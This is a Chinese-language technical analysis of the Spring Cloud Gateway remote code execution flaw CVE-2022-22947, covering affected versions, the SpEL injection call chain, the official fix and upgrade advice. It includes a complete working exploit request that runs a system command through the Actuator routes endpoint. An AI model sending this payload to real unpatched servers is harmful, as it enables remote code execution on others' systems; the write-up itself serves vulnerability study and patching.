SpringCloud Gateway远程代码执行漏洞(CVE-2022-22947)

1.漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。
由于Spring Cloud Gateway提供了Actuator接口 ,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

2.影响版本

3.1.0
3.0.0至3.0.6
Spring Cloud Gateway 其他已不再更新的版本

3.漏洞分析

Spring Cloud Gateway提供的Actuator接口
01f7ef07184e478ef40e2d196f9a8cf8
gateway接口位置:
org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/GatewayControllerEndpoint.class
截屏2022-03-21 上午12.30.44
构造payload进行攻击并进行调试(post参数可根据/routes/{id}的请求参数配置)

  1. POST /actuator/gateway/routes/EchoSec HTTP/1.1
  2. Host: 192.168.42.145:8080
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  7. Connection: close
  8. Content-Type: application/json
  9. Content-Length: 334
  10. {
  11. "id": "EchoSec",
  12. "filters": [{
  13. "name": "AddResponseHeader",
  14. "args": {
  15. "name": "Result",
  16. "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
  17. }
  18. }],
  19. "uri": "http://example.com"
  20. }
  1. @PathVariable String id, @RequestBody Mono<RouteDefinition> route参数内容可参考如下

截屏2022-03-10 下午1.46.02
1)根据调用链调试,由于调用链太多正面很难追踪,根据从SSRF 到 RCE —— 对 Spring Cloud Gateway RCE漏洞分析思路,通过#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{“whoami”}).getInputStream()))}这串代码格式确认为spel表达式注入。
spel表达式使用示例:

  1. SpelExpressionParser parser = new SpelExpressionParser();
  2. Expression expression = parser.parseExpression(payload);
  3. String s = expression.getValue().toString();

2)直接查看修复diff,可以看到漏洞点是spel表达式格式(https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e?diff=unified#diff-7aa249852020f587b35d07cd73c39161c229700ee1e13a9a146c114f542083bcR46)
截屏2022-03-21 上午12.51.54
由于环境搭建失败,根据思路2进行代码的跟踪(参考bitterzzZZ师傅漏洞复现文章),分析jar包为spring-cloud-gateway-server-3.1.0.jar
已知漏洞点在
getValue中,该函数是static函数,在protect范围内查找getValue函数的调用,该类没有子包,在继承实现该类的类中寻找getvalue的调用,经排查找到调用getvalue的上层是normalize,该public函数都在枚举类ShortcutType中,继续查找上层调用
SpringCloud Gateway远程代码执行漏洞(CVE-2022-22947) - 图5
继续找上层调用找到ConfigurableBuilder#normalizeProperties,该类为protect,
截屏2022-03-21 上午1.22.06
继续向上层追踪no rmalizeProperties,该方法是protected方法,追踪到bind
截屏2022-03-21 上午1.48.34
bind向上追踪可以追踪到lookup和loadGatewayFilters函数方法,loadGatewayFilters是正确的利用链,通过不停追踪即可判断出来,继续向上追踪一只到接口路由入口
RouteDefinitionRouteLocator.loadGatewayFilters ->
RouteDefinitionRouteLocator.getFilters ->
RouteDefinitionRouteLocator.convertToRoute ->
RouteDefinitionRouteLocator.getRoutes ->
GatewayControllerEndpoint.route
截屏2022-03-21 上午12.30.44
该处路由的意思是查看某个路由的内容,通过该接口可以触发spel表达式处。
完整的利用逻辑
截屏2022-03-21 上午1.58.17

4.官方修复措施

截屏2022-03-21 上午2.02.58
官方主要是利用simpleevaluationContext类去限制spel表达式的功能
SpEL 提供的两个 EvaluationContext

  • SimpleEvaluationContext - 针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

通过对比发现SimpleEvaluationContext 仅支持 SpEL 语言语法的一个子集。它不包括 Java类型引用构造函数bean引用,可以有效的防止SpEl表达式注入漏洞产生。

5.修复方案

1)3.1.x用户应升级到3.1.1+;
2)3.0.x用户应升级到3.0.7+;
3)如果不需要gateway的Actuator功能,可以通过management.endpoint.gateway.enable:false配置将其禁用。